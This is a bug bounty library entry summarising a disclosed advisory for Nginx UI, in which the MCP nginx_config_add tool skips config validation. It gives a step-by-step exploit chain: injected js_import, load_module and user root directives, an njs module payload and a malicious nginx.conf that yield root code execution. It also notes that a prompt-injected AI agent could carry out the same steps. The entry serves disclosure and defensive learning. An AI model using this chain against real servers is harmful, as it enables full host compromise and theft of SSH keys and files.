# Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image)

MCP tool nginx_config_add skipped ValidateConfigFile, letting an authenticated caller inject js_import/user root directives and achieve root-level njs code execution on the official image.

- Payout: Research
- Severity: high
- Program: Nginx UI
- Found by: novice-22
- Disclosed: 2026-10-15
- CVE: CVE-2026-84317
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-76pm-mq2q-9gcr
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-76pm-mq2q-9gcr
- Tags: area:ai domain:ai domain:web impact:privesc impact:rce kind:research platform:ghsa sev:high tech:go tech:llm tech:nginx technique:incomplete-fix technique:source-review vuln:misconfiguration vuln:rce

**Target:** MCP tool nginx_config_add (config write path) in Nginx UI
**Root cause:** The hardening commit 3e411d38 added ValidateConfigFile to api/config/add.go, api/config/modify.go and mcp/config/config_modify.go but never wired it into mcp/config/config_add.go, which writes caller content to disk and reloads nginx unvalidated.
**Steps:**
1. Authenticate to MCP over SSE with `X-Node-Secret` or `Authorization: Bearer <JWT>`, initialize session, capture endpoint event.
2. Call `tools/call nginx_config_add {name:"poc_blocked.conf", base_dir:"sites-available", content:"js_import poc.js;\nperl_set $x 'sub{return 1}';\nuser root;\nload_module .../ngx_http_js_module.so;"}` — succeeds, file written verbatim.
3. Same content via `nginx_config_modify` returns `{"code":-32603,"message":"file content contains restricted nginx directive: js_import"}` confirming the control exists but is skipped on add.
4. Write `/etc/nginx/poc.js` njs module via `nginx_config_add` (name="poc.js", base_dir="") using `fs.writeFileSync('/tmp/NJS_RCE_PROOF.txt',...)`.
5. Overwrite `/etc/nginx/nginx.conf` via `nginx_config_add` (name="nginx.conf", base_dir="", overwrite=true) with `load_module .../ngx_http_js_module.so; user root; ... js_import poc from /etc/nginx/poc.js; server{ listen 8899; location = /pwn { js_content poc.pwn; } }`.
6. Reload succeeds; `GET http://127.0.0.1:8899/pwn` returns `pwned`; `/proc/<worker>/status` shows `Uid: 0 0 0 0`; `/tmp/NJS_RCE_PROOF.txt` created as root.
**How found:** Noticed ValidateConfigFile was introduced in commit 3e411d38 and wired into three of four config-write paths; git history showed mcp/config/config_add.go never called it, so the sibling MCP add tool was the unguarded path.
**Exploitation:** Authenticated MCP caller (or prompt-injected agent) writes an njs module and a main nginx.conf enabling ngx_http_js_module with `user root`, then triggers reload; nginx workers run as root and execute attacker JS via js_content, giving arbitrary root file read/write (e.g. /root/.ssh/authorized_keys, /etc/cron.d) and full host compromise on the official Docker image.
**Escalation:** Chained directive injection (load_module + js_import + user root) to convert a config-write bypass into root code execution; on stock nginx without njs/perl modules degrades to DoS via failed reload plus user root privilege regression.
**Insight:** When a hardening commit adds a validation helper, diff the changeset against every sibling write path — the missed caller is often the newest or least-used tool (here the MCP add vs modify pair). Confirm by sending identical payloads to both and comparing accept/reject.

## Proof of concept (copied exactly from the original report)

**njs module payload written via config_add**

```
import fs from 'fs';
function pwn(r){
  try{ fs.writeFileSync('/tmp/NJS_RCE_PROOF.txt','njs-code-exec-ok\n'); }catch(e){ r.return(200,'ERR:'+e); return; }
  r.return(200,'pwned\n');
}
export default { pwn };
```

**Malicious nginx.conf with load_module and user root**

```
load_module /usr/lib/nginx/modules/ngx_http_js_module.so;
user root;
worker_processes 1;
error_log /var/log/nginx/error.log notice;
pid /run/nginx.pid;
events { worker_connections 1024; }
http {
    include /etc/nginx/mime.types;
    default_type application/octet-stream;
    js_import poc from /etc/nginx/poc.js;
    server { listen 8899; location = /pwn { js_content poc.pwn; } }
}
```

